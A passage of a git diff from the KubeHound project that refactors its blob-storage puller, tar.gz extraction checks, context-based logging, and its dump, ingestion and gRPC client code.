mode 100644 index 000000000..5b159e310 Binary files /dev/null and b/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster2.k8s.local/kubehound_cluster2.k8s.local_11j2qs8th6yarr5hkafysekn0j.tar.gz differ diff --git a/pkg/ingestor/puller/blob/testdata/fakeBlobStoragePut/.keep b/pkg/ingestor/puller/blob/testdata/fakeBlobStoragePut/.keep new file mode 100644 index 000000000..e69de29bb diff --git a/pkg/ingestor/puller/blob/testdata/tmpdir/.keep b/pkg/ingestor/puller/blob/testdata/tmpdir/.keep new file mode 100644 index 000000000..e69de29bb diff --git a/pkg/ingestor/puller/mocks/mock_puller.go b/pkg/ingestor/puller/mocks/mock_puller.go index fafb3074c..8692bbaa1 100644 --- a/pkg/ingestor/puller/mocks/mock_puller.go +++ b/pkg/ingestor/puller/mocks/mock_puller.go @@ -5,6 +5,7 @@ package mocks import ( context "context" + puller "github.com/DataDog/KubeHound/pkg/ingestor/puller" mock "github.com/stretchr/testify/mock" ) @@ -107,23 +108,79 @@ func (_c *DataPuller_Extract_Call) RunAndReturn(run func(context.Context, string return _c } -// Pull provides a mock function with given fields: ctx, clusterName, runID -func (_m *DataPuller) Pull(ctx context.Context, clusterName string, runID string) (string, error) { - ret := _m.Called(ctx, clusterName, runID) +// ListFiles provides a mock function with given fields: ctx, prefix, recursive +func (_m *DataPuller) ListFiles(ctx context.Context, prefix string, recursive bool) ([]*puller.ListObject, error) { + ret := _m.Called(ctx, prefix, recursive) + + var r0 []*puller.ListObject + var r1 error + if rf, ok := ret.Get(0).(func(context.Context, string, bool) ([]*puller.ListObject, error)); ok { + return rf(ctx, prefix, recursive) + } + if rf, ok := ret.Get(0).(func(context.Context, string, bool) []*puller.ListObject); ok { + r0 = rf(ctx, prefix, recursive) + } else { + if ret.Get(0) != nil { + r0 = ret.Get(0).([]*puller.ListObject) + } + } + + if rf, ok := ret.Get(1).(func(context.Context, string, bool) error); ok { + r1 = rf(ctx, prefix, recursive) + } else { + r1 = ret.Error(1) + } + + return r0, r1 +} + +// DataPuller_ListFiles_Call is a *mock.Call that shadows Run/Return methods with type explicit version for method 'ListFiles' +type DataPuller_ListFiles_Call struct { + *mock.Call +} + +// ListFiles is a helper method to define mock.On call +// - ctx context.Context +// - prefix string +// - recursive bool +func (_e *DataPuller_Expecter) ListFiles(ctx interface{}, prefix interface{}, recursive interface{}) *DataPuller_ListFiles_Call { + return &DataPuller_ListFiles_Call{Call: _e.mock.On("ListFiles", ctx, prefix, recursive)} +} + +func (_c *DataPuller_ListFiles_Call) Run(run func(ctx context.Context, prefix string, recursive bool)) *DataPuller_ListFiles_Call { + _c.Call.Run(func(args mock.Arguments) { + run(args[0].(context.Context), args[1].(string), args[2].(bool)) + }) + return _c +} + +func (_c *DataPuller_ListFiles_Call) Return(_a0 []*puller.ListObject, _a1 error) *DataPuller_ListFiles_Call { + _c.Call.Return(_a0, _a1) + return _c +} + +func (_c *DataPuller_ListFiles_Call) RunAndReturn(run func(context.Context, string, bool) ([]*puller.ListObject, error)) *DataPuller_ListFiles_Call { + _c.Call.Return(run) + return _c +} + +// Pull provides a mock function with given fields: ctx, path +func (_m *DataPuller) Pull(ctx context.Context, path string) (string, error) { + ret := _m.Called(ctx, path) var r0 string var r1 error - if rf, ok := ret.Get(0).(func(context.Context, string, string) (string, error)); ok { - return rf(ctx, clusterName, runID) + if rf, ok := ret.Get(0).(func(context.Context, string) (string, error)); ok { + return rf(ctx, path) } - if rf, ok := ret.Get(0).(func(context.Context, string, string) string); ok { - r0 = rf(ctx, clusterName, runID) + if rf, ok := ret.Get(0).(func(context.Context, string) string); ok { + r0 = rf(ctx, path) } else { r0 = ret.Get(0).(string) } - if rf, ok := ret.Get(1).(func(context.Context, string, string) error); ok { - r1 = rf(ctx, clusterName, runID) + if rf, ok := ret.Get(1).(func(context.Context, string) error); ok { + r1 = rf(ctx, path) } else { r1 = ret.Error(1) } @@ -138,15 +195,14 @@ type DataPuller_Pull_Call struct { // Pull is a helper method to define mock.On call // - ctx context.Context -// - clusterName string -// - runID string -func (_e *DataPuller_Expecter) Pull(ctx interface{}, clusterName interface{}, runID interface{}) *DataPuller_Pull_Call { - return &DataPuller_Pull_Call{Call: _e.mock.On("Pull", ctx, clusterName, runID)} +// - path string +func (_e *DataPuller_Expecter) Pull(ctx interface{}, path interface{}) *DataPuller_Pull_Call { + return &DataPuller_Pull_Call{Call: _e.mock.On("Pull", ctx, path)} } -func (_c *DataPuller_Pull_Call) Run(run func(ctx context.Context, clusterName string, runID string)) *DataPuller_Pull_Call { +func (_c *DataPuller_Pull_Call) Run(run func(ctx context.Context, path string)) *DataPuller_Pull_Call { _c.Call.Run(func(args mock.Arguments) { - run(args[0].(context.Context), args[1].(string), args[2].(string)) + run(args[0].(context.Context), args[1].(string)) }) return _c } @@ -156,7 +212,7 @@ func (_c *DataPuller_Pull_Call) Return(_a0 string, _a1 error) *DataPuller_Pull_C return _c } -func (_c *DataPuller_Pull_Call) RunAndReturn(run func(context.Context, string, string) (string, error)) *DataPuller_Pull_Call { +func (_c *DataPuller_Pull_Call) RunAndReturn(run func(context.Context, string) (string, error)) *DataPuller_Pull_Call { _c.Call.Return(run) return _c } diff --git a/pkg/ingestor/puller/puller.go b/pkg/ingestor/puller/puller.go index 3f020b933..35055cc77 100644 --- a/pkg/ingestor/puller/puller.go +++ b/pkg/ingestor/puller/puller.go @@ -10,25 +10,29 @@ import ( "os" "path/filepath" "strings" + "time" "github.com/DataDog/KubeHound/pkg/telemetry/log" ) //go:generate mockery --name DataPuller --output mocks --case underscore --filename mock_puller.go --with-expecter type DataPuller interface { - Pull(ctx context.Context, clusterName string, runID string) (string, error) + Pull(ctx context.Context, path string) (string, error) Extract(ctx context.Context, archivePath string) error Close(ctx context.Context, basePath string) error + ListFiles(ctx context.Context, prefix string, recursive bool) ([]*ListObject, error) } -func FormatArchiveKey(clusterName string, runID string, archiveName string) string { - return strings.Join([]string{clusterName, runID, archiveName}, "/") +type ListObject struct { + Key string + // ModTime is the time the blob was last modified. + ModTime time.Time } // checkSanePath just to make sure we don't delete or overwrite somewhere where we are not supposed to func CheckSanePath(path string, baseFolder string) error { if path == "/" || path == "" || !strings.HasPrefix(path, baseFolder) { - return fmt.Errorf("Invalid path provided: %q", path) + return fmt.Errorf("Invalid path provided: %q / base: %q", path, baseFolder) } return nil @@ -44,16 +48,42 @@ func sanitizeExtractPath(filePath string, destination string) error { return nil } -func ExtractTarGz(archivePath string, basePath string, maxArchiveSize int64) error { +func IsTarGz(ctx context.Context, filePath string, maxArchiveSize int64) (bool, error) { + fileInfo, err := os.Stat(filePath) + if err != nil { + return false, fmt.Errorf("stat %s: %w", filePath, err) + } + + switch mod := fileInfo.Mode(); { + case mod.IsDir(): + return false, nil + case mod.IsRegular(): + dryRun := true + err = ExtractTarGz(ctx, dryRun, filePath, "/tmp", maxArchiveSize) + if err != nil { + return false, err + } + + return true, nil + } + + return false, fmt.Errorf("file type not supported") +} + +func ExtractTarGz(ctx context.Context, checkOnly bool, archivePath string, basePath string, maxArchiveSize int64) error { //nolint:gocognit + l := log.Logger(ctx) gzipFileReader, err := os.Open(archivePath) if err != nil { return err } + defer gzipFileReader.Close() uncompressedStream, err := gzip.NewReader(gzipFileReader) if err != nil { return err } + defer uncompressedStream.Close() + tarReader := tar.NewReader(io.LimitReader(uncompressedStream, maxArchiveSize)) for { header, err := tarReader.Next() @@ -63,6 +93,7 @@ func ExtractTarGz(archivePath string, basePath string, maxArchiveSize int64) err if err != nil { return err } + err = sanitizeExtractPath(basePath, header.Name) if err != nil { return err @@ -72,11 +103,17 @@ func ExtractTarGz(archivePath string, basePath string, maxArchiveSize int64) err switch header.Typeflag { // Handle sub folder containing namespaces case tar.TypeDir: + if checkOnly { + continue + } err := mkdirIfNotExists(cleanPath) if err != nil { return err } case tar.TypeReg: + if checkOnly { + continue + } err := mkdirIfNotExists(filepath.Dir(cleanPath)) if err != nil { return err @@ -89,11 +126,14 @@ func ExtractTarGz(archivePath string, basePath string, maxArchiveSize int64) err // We don't really have an upper limit of archive size and adding a limited writer is not trivial without importing // a third party library (like our internal secure lib) _, err = io.Copy(outFile, tarReader) //nolint:gosec + if errors.Is(err, io.EOF) || errors.Is(err, io.ErrUnexpectedEOF) { + return fmt.Errorf("archive size exceeds the limit: %d: %w", maxArchiveSize, err) + } if err != nil { return fmt.Errorf("copying file %s: %w", cleanPath, err) } default: - log.I.Info("unsupported archive item (not a folder, not a regular file): ", header.Typeflag) + l.Info("unsupported archive item (not a folder, not a regular file)", log.Byte("flag", header.Typeflag)) } } diff --git a/pkg/ingestor/puller/puller_test.go b/pkg/ingestor/puller/puller_test.go index 8f0ebd791..7329c11f9 100644 --- a/pkg/ingestor/puller/puller_test.go +++ b/pkg/ingestor/puller/puller_test.go @@ -1,6 +1,7 @@ package puller import ( + "context" "os" "testing" ) @@ -29,7 +30,6 @@ func Test_sanitizeExtractPath(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() if err := sanitizeExtractPath(tt.args.filePath, tt.args.destination); (err != nil) != tt.wantErr { @@ -82,7 +82,6 @@ func TestCheckSanePath(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() if err := CheckSanePath(tt.args.path, tt.args.baseFolder); (err != nil) != tt.wantErr { @@ -94,6 +93,7 @@ func TestCheckSanePath(t *testing.T) { func TestExtractTarGz(t *testing.T) { t.Parallel() + ctx := context.Background() type args struct { maxArchiveSize int64 } @@ -122,15 +122,11 @@ func TestExtractTarGz(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() - tmpPath, err := os.MkdirTemp("/tmp", "kubehound-test") - defer os.RemoveAll(tmpPath) - if err != nil { - t.Error(err) - } - if err := ExtractTarGz("./testdata/archive.tar.gz", tmpPath, tt.args.maxArchiveSize); (err != nil) != tt.wantErr { + tmpPath := t.TempDir() + dryRun := false + if err := ExtractTarGz(ctx, dryRun, "./testdata/archive.tar.gz", tmpPath, tt.args.maxArchiveSize); (err != nil) != tt.wantErr { t.Errorf("ExtractTarGz() error = %v, wantErr %v", err, tt.wantErr) } for _, file := range tt.expectedFiles { @@ -141,3 +137,68 @@ func TestExtractTarGz(t *testing.T) { }) } } + +func TestIsTarGz(t *testing.T) { + t.Parallel() + type args struct { + filePath string + maxArchiveSize int64 + } + tests := []struct { + name string + args args + want bool + wantErr bool + }{ + { + name: "dump result compressed", + args: args{ + maxArchiveSize: 10000000, + filePath: "./testdata/archive.tar.gz", + }, + want: true, + wantErr: false, + }, + { + name: "Unsupported file type", + args: args{ + maxArchiveSize: 100, + filePath: "./testdata/regenerate-testdata.sh", + }, + want: false, + wantErr: true, + }, + { + name: "wrong path", + args: args{ + maxArchiveSize: 100, + filePath: "./testdata/doesnotexist.tar.gz", + }, + want: false, + wantErr: true, + }, + { + name: "dump result not compressed - directory", + args: args{ + maxArchiveSize: 100, + filePath: "./testdata/", + }, + want: false, + wantErr: false, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + got, err := IsTarGz(context.TODO(), tt.args.filePath, tt.args.maxArchiveSize) + if (err != nil) != tt.wantErr { + t.Errorf("IsTarGz() error = %v, wantErr %v", err, tt.wantErr) + + return + } + if got != tt.want { + t.Errorf("IsTarGz() = %v, want %v", got, tt.want) + } + }) + } +} diff --git a/pkg/kubehound/core/core_dump.go b/pkg/kubehound/core/core_dump.go index c55c518d8..6f62cbeea 100644 --- a/pkg/kubehound/core/core_dump.go +++ b/pkg/kubehound/core/core_dump.go @@ -13,7 +13,7 @@ import ( "github.com/DataDog/KubeHound/pkg/telemetry/events" "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/span" - "github.com/DataDog/KubeHound/pkg/telemetry/tag" + "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/ext" "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" ) @@ -22,44 +22,55 @@ import ( // If upload is true, it will upload the file to the configured blob storage. // It returns the path to the dumped file/dir (only used for the system tests) func DumpCore(ctx context.Context, khCfg *config.KubehoundConfig, upload bool) (string, error) { + l := log.Logger(ctx) + + clusterName, err := config.GetClusterName(ctx) + defer func() { + if err != nil { + errMsg := fmt.Errorf("fatal error: %w", err) + l.Error("Error occurred", log.ErrorField(errMsg)) + _ = events.PushEvent(ctx, events.DumpFailed, fmt.Sprintf("%s", errMsg)) + } + }() + if err != nil { + return "", fmt.Errorf("collector cluster info: %w", err) + } + khCfg.Dynamic.ClusterName = clusterName + ctx = context.WithValue(ctx, log.ContextFieldCluster, clusterName) + ctx = context.WithValue(ctx, log.ContextFieldRunID, khCfg.Dynamic.RunID.String()) + start := time.Now() - var err error - span, ctx := tracer.StartSpanFromContext(ctx, span.DumperLaunch, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.DumperLaunch) + span.SetTag(ext.ManualKeep, true) + l = log.Logger(ctx) defer func() { span.Finish(tracer.WithError(err)) }() khCfg.Collector.Type = config.CollectorTypeK8sAPI - clusterName, err := config.GetClusterName(ctx) - if err != nil { - return "", fmt.Errorf("collector cluster info: %w", err) - } - - events.PushEvent( - fmt.Sprintf("Starting KubeHound dump for %s", clusterName), - fmt.Sprintf("Starting KubeHound dump for %s", clusterName), - []string{ - tag.ActionType(events.DumperRun), - }, - ) + _ = events.PushEvent(ctx, events.DumpStarted, "") filePath, err := runLocalDump(ctx, khCfg) if err != nil { return "", err } - log.I.Infof("result %s", filePath) + l.Info("result saved to file", log.String(log.FieldPathKey, filePath)) if upload { // Clean up the temporary directory when done defer func() { - err = os.RemoveAll(khCfg.Collector.File.Directory) + // This error is scope to the defer and not be handled by the other defer function + err := os.RemoveAll(khCfg.Collector.File.Directory) if err != nil { - log.I.Errorf("Failed to remove temporary directory: %v", err) + errMsg := fmt.Errorf("Failed to remove temporary directory: %w", err) + l.Error("Failed to remove temporary directory", log.ErrorField(err)) + _ = events.PushEvent(ctx, events.DumpFailed, fmt.Sprintf("%s", errMsg)) } }() - puller, err := blob.NewBlobStorage(khCfg, khCfg.Collector.File.Blob) + var puller *blob.BlobStore + puller, err = blob.NewBlobStorage(khCfg, khCfg.Ingestor.Blob) if err != nil { return "", err } @@ -70,14 +81,9 @@ func DumpCore(ctx context.Context, khCfg *config.KubehoundConfig, upload bool) ( } } - events.PushEvent( - fmt.Sprintf("Finish KubeHound dump for %s", clusterName), - fmt.Sprintf("KubeHound dump run has been completed in %s", time.Since(start)), - []string{ - tag.ActionType(events.DumperRun), - }, - ) - log.I.Infof("KubeHound dump run has been completed in %s", time.Since(start)) + text := fmt.Sprintf("KubeHound dump run has been completed in %s", time.Since(start)) + _ = events.PushEvent(ctx, events.DumpFinished, text) + l.Info("KubeHound dump run has been completed", log.Duration("duration", time.Since(start))) return filePath, nil } @@ -85,18 +91,20 @@ func DumpCore(ctx context.Context, khCfg *config.KubehoundConfig, upload bool) ( // Running the local dump of the k8s objects (dumper pipeline) // It returns the path to the dumped file/dir (only used for the system tests) func runLocalDump(ctx context.Context, khCfg *config.KubehoundConfig) (string, error) { - log.I.Info("Loading Kubernetes data collector client") + l := log.Logger(ctx) + l.Info("Loading Kubernetes data collector client") collect, err := collector.ClientFactory(ctx, khCfg) if err != nil { return "", fmt.Errorf("collector client creation: %w", err) } defer func() { collect.Close(ctx) }() - log.I.Infof("Loaded %q collector client", collect.Name()) + ctx = context.WithValue(ctx, log.ContextFieldComponent, collect.Name()) + l.Info("Loaded collector client") // Create the dumper instance collectorLocalOutputDir := khCfg.Collector.File.Directory - collectorLocalCompress := khCfg.Collector.File.Archive.Format - log.I.Infof("Dumping %q to %q", khCfg.Dynamic.ClusterName, collectorLocalOutputDir) + collectorLocalCompress := !khCfg.Collector.File.Archive.NoCompress + l.Info("Dumping cluster info to directory", log.String(log.FieldPathKey, collectorLocalOutputDir)) dumpIngestor, err := dump.NewDumpIngestor(ctx, collect, collectorLocalCompress, collectorLocalOutputDir, khCfg.Dynamic.RunID) if err != nil { return "", fmt.Errorf("create dumper: %w", err) diff --git a/pkg/kubehound/core/core_grpc_api.go b/pkg/kubehound/core/core_grpc_api.go index e0f442c3a..ad9f1e9c2 100644 --- a/pkg/kubehound/core/core_grpc_api.go +++ b/pkg/kubehound/core/core_grpc_api.go @@ -10,46 +10,60 @@ import ( "github.com/DataDog/KubeHound/pkg/ingestor/notifier/noop" "github.com/DataDog/KubeHound/pkg/ingestor/puller/blob" "github.com/DataDog/KubeHound/pkg/kubehound/providers" + "github.com/DataDog/KubeHound/pkg/telemetry/events" "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/span" "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" ) -func CoreGrpcApi(ctx context.Context, khCfg *config.KubehoundConfig) error { - log.I.Infof("Starting KubeHound Distributed Ingestor Service") - span, ctx := tracer.StartSpanFromContext(ctx, span.IngestorLaunch, tracer.Measured()) +func initCoreGrpcApi(ctx context.Context, khCfg *config.KubehoundConfig) (*api.IngestorAPI, error) { + l := log.Logger(ctx) + l.Info("Starting KubeHound Distributed Ingestor Service") + span, ctx := span.SpanRunFromContext(ctx, span.IngestorLaunch) var err error defer func() { span.Finish(tracer.WithError(err)) }() // Initialize the providers (graph, cache, store) - log.I.Info("Initializing providers (graph, cache, store)") + l.Info("Initializing providers (graph, cache, store)") p, err := providers.NewProvidersFactoryConfig(ctx, khCfg) if err != nil { - return fmt.Errorf("factory config creation: %w", err) + return nil, fmt.Errorf("factory config creation: %w", err) } - defer p.Close(ctx) - log.I.Info("Creating Blob Storage provider") + l.Info("Creating Blob Storage provider") puller, err := blob.NewBlobStorage(khCfg, khCfg.Ingestor.Blob) if err != nil { - return err + return nil, err } - log.I.Info("Creating Noop Notifier") + l.Info("Creating Noop Notifier") noopNotifier := noop.NewNoopNotifier() - log.I.Info("Creating Ingestor API") - ingestorApi := api.NewIngestorAPI(khCfg, puller, noopNotifier, p) + l.Info("Creating Ingestor API") + + return api.NewIngestorAPI(khCfg, puller, noopNotifier, p), nil +} + +func CoreGrpcApi(ctx context.Context, khCfg *config.KubehoundConfig) error { + ingestorApi, err := initCoreGrpcApi(ctx, khCfg) + if err != nil { + _ = events.PushEvent(ctx, events.IngestorFailed, "") + + return err + } + defer ingestorApi.Close(ctx) + _ = events.PushEvent(ctx, events.IngestorInit, "") - log.I.Info("Starting Ingestor API") + l := log.Logger(ctx) + l.Info("Starting Ingestor API") err = grpc.Listen(ctx, ingestorApi) if err != nil { return err } - log.I.Infof("KubeHound Ingestor API shutdown") + l.Info("KubeHound Ingestor API shutdown") return nil } diff --git a/pkg/kubehound/core/core_grpc_client.go b/pkg/kubehound/core/core_grpc_client.go index 8790d428b..602ac81bb 100644 --- a/pkg/kubehound/core/core_grpc_client.go +++ b/pkg/kubehound/core/core_grpc_client.go @@ -13,7 +13,7 @@ import ( "google.golang.org/grpc/credentials/insecure" ) -func CoreClientGRPCIngest(ingestorConfig config.IngestorConfig, clusteName string, runID string) error { +func getGrpcConn(ingestorConfig config.IngestorConfig) (*grpc.ClientConn, error) { var dialOpt grpc.DialOption if ingestorConfig.API.Insecure { dialOpt = grpc.WithTransportCredentials(insecure.NewCredentials()) @@ -25,16 +25,25 @@ func CoreClientGRPCIngest(ingestorConfig config.IngestorConfig, clusteName strin dialOpt = grpc.WithTransportCredentials(credentials.NewTLS(tlsConfig)) } - log.I.Infof("Launching ingestion on %s [%s:%s]", ingestorConfig.API.Endpoint, clusteName, runID) conn, err := grpc.NewClient(ingestorConfig.API.Endpoint, dialOpt) if err != nil { - return fmt.Errorf("connect %s: %w", ingestorConfig.API.Endpoint, err) + return nil, fmt.Errorf("connect %s: %w", ingestorConfig.API.Endpoint, err) } - defer conn.Close() + return conn, nil +} + +func CoreClientGRPCIngest(ctx context.Context, ingestorConfig config.IngestorConfig, clusteName string, runID string) error { + l := log.Logger(ctx) + conn, err := getGrpcConn(ingestorConfig) + if err != nil { + return fmt.Errorf("getGrpcClient: %w", err) + } + defer conn.Close() client := pb.NewAPIClient(conn) + l.Info("Launching ingestion", log.String("endpoint", ingestorConfig.API.Endpoint), log.String(log.FieldRunIDKey, runID)) - _, err = client.Ingest(context.Background(), &pb.IngestRequest{ + _, err = client.Ingest(ctx, &pb.IngestRequest{ RunId: runID, ClusterName: clusteName, }) @@ -44,3 +53,25 @@ func CoreClientGRPCIngest(ingestorConfig config.IngestorConfig, clusteName strin return nil } + +func CoreClientGRPCRehydrateLatest(ctx context.Context, ingestorConfig config.IngestorConfig) error { + l := log.Logger(ctx) + conn, err := getGrpcConn(ingestorConfig) + if err != nil { + return fmt.Errorf("getGrpcClient: %w", err) + } + defer conn.Close() + client := pb.NewAPIClient(conn) + + l.Info("Launching rehydratation [latest]", log.String("endpoint", ingestorConfig.API.Endpoint)) + results, err := client.RehydrateLatest(ctx, &pb.RehydrateLatestRequest{}) + if err != nil { + return fmt.Errorf("call rehydratation (latest): %w", err) + } + + for _, res := range results.IngestedCluster { + l.Info("Rehydrated cluster", log.String(log.FieldClusterKey, res.ClusterName), log.Time("time", res.Date.AsTime()), log.String("key", res.Key)) + } + + return nil +} diff --git a/pkg/kubehound/core/core_ingest_local.go b/pkg/kubehound/core/core_ingest_local.go new file mode 100644 index 000000000..039ca4d9a --- /dev/null +++ b/pkg/kubehound/core/core_ingest_local.go @@ -0,0 +1,64 @@ +package core + +import ( + "context" + "fmt" + "os" + "path/filepath" + + "github.com/DataDog/KubeHound/pkg/collector" + "github.com/DataDog/KubeHound/pkg/config" + "github.com/DataDog/KubeHound/pkg/dump" + "github.com/DataDog/KubeHound/pkg/ingestor/puller" + "github.com/DataDog/KubeHound/pkg/telemetry/log" +) + +func CoreLocalIngest(ctx context.Context, khCfg *config.KubehoundConfig, resultPath string) error { + l := log.Logger(ctx) + // Using the collector config to ingest the data + khCfg.Collector.Type = config.CollectorTypeFile + + // Treating by default as data not compressed (directory of the results) + khCfg.Collector.File.Directory = resultPath + + // Checking dynamically if the data is being compressed + compress, err := puller.IsTarGz(ctx, resultPath, khCfg.Ingestor.MaxArchiveSize) + if err != nil { + return err + } + metadataFilePath := filepath.Join(resultPath, collector.MetadataPath) + if compress { + tmpDir, err := os.MkdirTemp("/tmp/", "kh-local-ingest-*") + if err != nil { + return fmt.Errorf("creating temp dir: %w", err) + } + // Resetting the directory to the temp directory used to extract the data + khCfg.Collector.File.Directory = tmpDir + dryRun := false + err = puller.ExtractTarGz(ctx, dryRun, resultPath, tmpDir, config.DefaultMaxArchiveSize) + if err != nil { + return err + } + metadataFilePath = filepath.Join(tmpDir, collector.MetadataPath) + } + // Getting the metadata from the metadata file + md, err := dump.ParseMetadata(ctx, metadataFilePath) + if err != nil { + // Backward Compatibility: not returning error for now as the metadata feature is new + l.Warn("no metadata has been parsed (old dump format from v1.4.0 or below do not embed metadata information)", log.ErrorField(err)) + } else { + khCfg.Dynamic.ClusterName = md.ClusterName + } + + // Backward Compatibility: Extracting the metadata from the path or input args + // If the cluster name is not provided by the command args (deprecated flag), we try to get it from the path + if khCfg.Dynamic.ClusterName == "" { + dumpMetadata, err := dump.ParsePath(ctx, resultPath) + if err != nil { + l.Warnf("parsing path for metadata", log.ErrorField(err)) + } + khCfg.Dynamic.ClusterName = dumpMetadata.Metadata.ClusterName + } + + return CoreLive(ctx, khCfg) +} diff --git a/pkg/kubehound/core/core_live.go b/pkg/kubehound/core/core_live.go index 949b9ba77..0363478b8 100644 --- a/pkg/kubehound/core/core_live.go +++ b/pkg/kubehound/core/core_live.go @@ -12,18 +12,36 @@ import ( "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" ) +// Setting the current cluster targeted for the live run. +func CoreInitLive(ctx context.Context, khCfg *config.KubehoundConfig) error { + clusterName, err := config.GetClusterName(ctx) + if err != nil { + return fmt.Errorf("collector cluster info: %w", err) + } + khCfg.Dynamic.ClusterName = clusterName + + return nil +} + // CoreLive will launch the KubeHound application to ingest data from a collector and create an attack graph. func CoreLive(ctx context.Context, khCfg *config.KubehoundConfig) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.Launch, tracer.Measured()) + l := log.Logger(ctx) + span, ctx := span.SpanRunFromContext(ctx, span.Launch) var err error defer func() { span.Finish(tracer.WithError(err)) }() + // Check for run configuration + err = khCfg.Dynamic.HealthCheck() + if err != nil { + return fmt.Errorf("health check: %w", err) + } + // Start the run start := time.Now() - log.I.Infof("Starting KubeHound (run_id: %s)", khCfg.Dynamic.RunID.String()) + l.Info("Starting KubeHound", log.String(log.FieldRunIDKey, khCfg.Dynamic.RunID.String()), log.String("cluster_name", khCfg.Dynamic.ClusterName)) // Initialize the providers (graph, cache, store) - log.I.Info("Initializing providers (graph, cache, store)") + l.Info("Initializing providers (graph, cache, store)") p, err := providers.NewProvidersFactoryConfig(ctx, khCfg) if err != nil { return fmt.Errorf("factory config creation: %w", err) @@ -31,13 +49,13 @@ func CoreLive(ctx context.Context, khCfg *config.KubehoundConfig) error { defer p.Close(ctx) // Running the ingestion pipeline (ingestion and building the graph) - log.I.Info("Running the ingestion pipeline") + l.Info("Running the ingestion pipeline") err = p.IngestBuildData(ctx, khCfg) if err != nil { return fmt.Errorf("ingest build data: %w", err) } - log.I.Infof("KubeHound run (id=%s) complete in %s", khCfg.Dynamic.RunID.String(), time.Since(start)) + l.Info("KubeHound run complete", log.String(log.FieldRunIDKey, khCfg.Dynamic.RunID.String()), log.Duration("duration", time.Since(start))) return nil } diff --git a/pkg/kubehound/graph/adapter/gremlin.go b/pkg/kubehound/graph/adapter/gremlin.go index 6cbd386d1..88b1dce47 100644 --- a/pkg/kubehound/graph/adapter/gremlin.go +++ b/pkg/kubehound/graph/adapter/gremlin.go @@ -48,7 +48,7 @@ func structToMap(in any) (map[string]any, error) { // GremlinEdgeProcessor transforms the inputs into a map suitable for bulk edge insert using the MergeE API. func GremlinEdgeProcessor(ctx context.Context, oic *converter.ObjectIDConverter, label string, - out primitive.ObjectID, in primitive.ObjectID) (map[any]any, error) { + out primitive.ObjectID, in primitive.ObjectID, attributes map[string]any) (map[any]any, error) { vidIn, err := oic.GraphID(ctx, in.Hex()) if err != nil { @@ -66,6 +66,18 @@ func GremlinEdgeProcessor(ctx context.Context, oic *converter.ObjectIDConverter, gremlin.Direction.Out: vidOut, } + // Add any additional attributes to the edge. + for k, v := range attributes { + switch k { + case string(gremlin.T.Label), string(gremlin.T.Id), string(gremlin.Direction.In), string(gremlin.Direction.Out): + // Skip reserved keys. + continue + } + + // Add the attribute to the edge. + processed[k] = v + } + return processed, nil } @@ -73,7 +85,6 @@ func GremlinEdgeProcessor(ctx context.Context, oic *converter.ObjectIDConverter, func DefaultEdgeTraversal() types.EdgeTraversal { return func(source *gremlin.GraphTraversalSource, inserts []any) *gremlin.GraphTraversal { g := source.GetGraphTraversal(). - //nolint:asasalint // required due to constraints in the gremlin API Inject(inserts). Unfold().As("em"). MergeE(__.Select("em")). diff --git a/pkg/kubehound/graph/adapter/mongo.go b/pkg/kubehound/graph/adapter/mongo.go index 3b0603f1c..1b5656501 100644 --- a/pkg/kubehound/graph/adapter/mongo.go +++ b/pkg/kubehound/graph/adapter/mongo.go @@ -2,6 +2,7 @@ package adapter import ( "context" + "errors" "github.com/DataDog/KubeHound/pkg/kubehound/graph/types" "github.com/DataDog/KubeHound/pkg/kubehound/storage/storedb" @@ -10,10 +11,11 @@ import ( ) // MongoDB is a helper function to retrieve the store database object from a mongoDB provider. -func MongoDB(store storedb.Provider) *mongo.Database { +func MongoDB(ctx context.Context, store storedb.Provider) *mongo.Database { + l := log.Logger(ctx) db, ok := store.Reader().(*mongo.Database) if !ok { - log.I.Fatalf("Invalid database provider type. Expected *mongo.Client, got %T", store.Reader()) + l.Fatalf("Invalid database provider type. Expected *mongo.Client, got %T", store.Reader()) } return db @@ -23,18 +25,21 @@ func MongoDB(store storedb.Provider) *mongo.Database { func MongoCursorHandler[T any](ctx context.Context, cur *mongo.Cursor, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { + var lastErr error for cur.Next(ctx) { var entry T - err := cur.Decode(&entry) - if err != nil { - return err + lastErr = cur.Decode(&entry) + if lastErr != nil { + break } - err = callback(ctx, &entry) - if err != nil { - return err + lastErr = callback(ctx, &entry) + if lastErr != nil { + break } } + err := complete(ctx) + err = errors.Join(err, lastErr) - return complete(ctx) + return err } diff --git a/pkg/kubehound/graph/builder.go b/pkg/kubehound/graph/builder.go index 7582ac615..1d6d5d878 100644 --- a/pkg/kubehound/graph/builder.go +++ b/pkg/kubehound/graph/builder.go @@ -6,7 +6,6 @@ import ( "time" "github.com/DataDog/KubeHound/pkg/config" - "github.com/DataDog/KubeHound/pkg/globals" "github.com/DataDog/KubeHound/pkg/kubehound/graph/edge" "github.com/DataDog/KubeHound/pkg/kubehound/graph/types" "github.com/DataDog/KubeHound/pkg/kubehound/models/converter" @@ -54,13 +53,13 @@ func (b *Builder) HealthCheck(ctx context.Context) error { } // buildEdge inserts a class of edges into the graph database. -func (b *Builder) buildEdge(ctx context.Context, label string, e edge.Builder, oic *converter.ObjectIDConverter, l *log.KubehoundLogger) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.BuildEdge, tracer.Measured(), tracer.ResourceName(e.Label())) +func (b *Builder) buildEdge(ctx context.Context, label string, e edge.Builder, oic *converter.ObjectIDConverter) error { + span, ctx := span.StartSpanFromContext(ctx, span.BuildEdge, tracer.Measured(), tracer.ResourceName(e.Label())) span.SetTag(tag.LabelTag, e.Label()) var err error defer func() { 